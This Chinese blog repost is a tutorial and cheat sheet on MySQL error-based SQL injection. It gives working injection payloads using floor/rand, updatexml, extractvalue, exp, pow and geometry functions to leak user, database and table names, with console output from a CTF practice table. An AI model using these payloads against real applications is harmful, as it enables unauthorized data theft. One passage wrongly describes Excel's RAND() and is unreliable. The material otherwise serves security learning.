小言_互联网的博客

MYSQL报错注入

371人阅读  评论(0)

审计思路

  • 代码中带入查询的参数没有经过任何过滤并产生报错,具有报错信息提示,就可以用报错查询。

  • 常用报错检测符号:’ \ ; %00 ) ( # "

  • 报错函数通常尤其最长报错输出的限制,面对这种情况,可以进行分割输出。

  • 特殊函数的特殊参数进运行一个字段、一行数据的返回,使用group_concat等函数聚合数据即可。

报错语句

id=4 and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a));

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));


报错函数查询表

类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制
主键重复 floor round ✔️ ✔️ ✔️ 64 data_type ≠ varchar
列名重复 name_const ✔️ ✔️ ✔️ ✔️ only version()
列名重复 join [5.5.49, ?) ✔️ ✔️ ✔️ ✔️ only columns
数据溢出 - Double 1e308 cot exp pow [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
数据溢出 - BIGINT 1+~0 [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
几何对象 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] ✔️ 244
空间函数 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) ✔️ ✔️ 128
GTID gtid_subset gtid_subtract [5.6.5, ?) ✔️ ✔️ ✔️ 200
JSON json_* [5.7.8, 5.7.11] ✔️ 200
UUID uuid_to_bin bin_to_uuid [8.0, ?) ✔️ 128
XPath extractvalue updatexml [5.1.5, ?) ✔️ ✔️ ✔️ ✔️ 32

floor报错

简述

floor报错注入也有叫group报错注入的,都一样,指的都是他们。

报错现象
查询语句

select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

产生错误

如图可知产生报错的原因是"security1"主键重复报错

函数讲解

rand
简介
rand()函数是Excel中产生随机数的一个随机函数。返回的随机数是大于等于 0 及小于 1 的均匀分布随机实数9),rand()函数每次计算工作表时都将返回一个新的随机实数。

中文名 rand()函数
外文名 rand() Function
语 法 rand()
功 能 产生随机数
应 用 Excel
特 点 返回值介于[0,1)

应用示例

公式 说明(结果)
=RAND() 介于 0 到 1 之间的一个随机数(变量)
=RAND()*100 大于等于 0 但小于 100 的一个随机数(变量)

floor
简介

floor函数,其功能是“向下取整”,或者说“向下舍入”、“向零取舍”,即取不大于x的最大整数,与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个整数值。

中文名 向下取整函数
外文名 floor function
功 能 计算不大于给定值的最大整数
所属领域 数学库函数
返回值 不大于给定值的最大整数值

应用示例

concat
concat(str1,str2,str3…) 字符串连接函数 注意,中间只要字符串有一个为空,最后结果也为空
floor(rand(0)*2)
前面讲了floor,concat,rand函数的使用方法,那么就解释了“security1”后面1是怎么来的

group by 与count(*)
count
count(*) 统计某个表下总共有多少条记录,表中存在的数据,这是一个聚合函数,返回值的数目,它与concat()的区别是它不排除NULL。

group by
GroupBy语句从英文的字面意义上理解就是“根据(by)一定的规则进行分组(Group)”。它的作用是通过一定的规则将一个数据集划分成若干个小的区域,然后针对若干个小区域进行数据处理。

group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入

报错原理

group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次,然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错

例子(结合上面的floor(rand(0)*2)的图看)
当group by 取第一条from 表记录时,此时group by的是’security0’,发现临时表中并没有’security0’的主键,注意,这个时候rand(0)*2会再计算一次,经floor()后,率先插入临时表的主键不是security0,而是security1,并计数1。

然后取第二条记录,第二条记录group by 的key中的01仍由floor(rand(0)*2)继续计算获得,也就是security1。此时临时表中已经有security1的主键了,所以count(*)直接加1就可以。

继续从from的表中取第三条记录,再次计算floor(rand(0)*2),结果为0,与database()拼接为security0,临时表的主键中并不存在,在插入前,floor(rand(0)*2)又计算一次,拼接后与secruity1,但是是直接插入,即使临时表中已经有了主键security1也硬要插入,从而导致主键重复报错,也就是:ERROR 1062 (23000): Duplicate entry ‘security1’ for key ‘group_key’。

语句

 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

链接: 参考资料.

xpath语法报错

updatexml与extractvalue都是基于xpath语法进行报错的,这里讲一下updatexml的使用方法,extractvalue也与其类似。

函数讲解

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据
可以理解为:

语法updatexml(目标xml文档,xml路径,更新的内容),其中路径需要满足xpath格式

语句

and updatexml(1,concat(0x7e,(查询语句),0x7e),1)

and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

整数溢出报错

exp

exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错,适用版本:5.5.5~5.5.49,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错,~符号为运算符,意思为一元字符反转

语句
注意:这里必须使用嵌套,因为不使用嵌套不加select*from 无法大整数溢出



exp(~(select * from(查询语句)a))

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

pow

pow函数简介
1.功能:计算x的y次幂。

2.返回值:x不能为负数且y为小数,或者x为0且y小于等于0,返回幂指数 的结果。

3.返回类型:double型,int,float会给与警告!

pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错

mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)'

语句

ysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999);
Empty set (0.00 sec)

如果在sql语句中有出现语法错误,则会直接报错,不会被and短路运算所影响,如果是大数溢出报错,则会遵循and短路运算规则。所以可以利用大数溢的特性,替换掉前面的"and 1=1"等类似的条件进行盲注。

cot

cot函数简介
cot是三角函数里的余切三角函数符号,此符号在以前写作ctg。cot坐标系表示:cotθ=x/y,在三角函数中cotθ=cosθ/sinθ,当θ≠kπ,k∈Z时cotθ=1/tanθ (当θ=kπ,k∈Z时,cotθ不存在)。角A的邻边比上角A的对边。
x取值无限接近于0和派的整数倍取0或派的整数倍报错

语句

与上面的pow函数报错的利用方式类似

mysql> select * from ctf_test where user='2' and 1=1 and cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'

列名重复报错

name_const

简介
在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列

语句

select * from(select name_const(version(),0x1),name_const(version(),0x1))a


但是单独使用name_const只能够报出数据库的版本信息,因为这个方法爆出来的值是常量,但是database()和user()都是变量。

join using

简介
通过系统关键词join可建立两个表之间的内连接。
通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。
并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

语句

mysql> select * from ctf_test a join ctf_test b;
+------+--------------+------+--------------+
| user | pwd          | user | pwd          |
+------+--------------+------+--------------+
| 1    | 0            | 1    | 0            |
| 2    | flag{OK_t72} | 1    | 0            |
| 1    | 0            | 2    | flag{OK_t72} |
| 2    | flag{OK_t72} | 2    | flag{OK_t72} |
+------+--------------+------+--------------+
4 rows in set (0.00 sec)

mysql> select * from (select * from ctf_test a join ctf_test b )x;
ERROR 1060 (42S21): Duplicate column name 'user'
mysql> select * from (select * from ctf_test a join ctf_test b using(user))x;
ERROR 1060 (42S21): Duplicate column name 'pwd'
mysql> select * from (select * from ctf_test a join ctf_test b using(user,pwd))x;
+------+--------------+
| user | pwd          |
+------+--------------+
| 1    | 0            |
| 2    | flag{OK_t72} |
+------+--------------+
2 rows in set (0.00 sec)

几何函数报错

mysql> select * from ctf_test where user='1' and polygon(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing

mysql> select * from ctf_test where user='1' and linestring(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing

GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))

polygon():id=1 AND polygon((select * from(select * from(select user())a)b))

multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))

linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在函数报错

构造不存在的函数进行报错

语句

mysql> select a();


转载:https://blog.csdn.net/qq_38265674/article/details/112385897
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场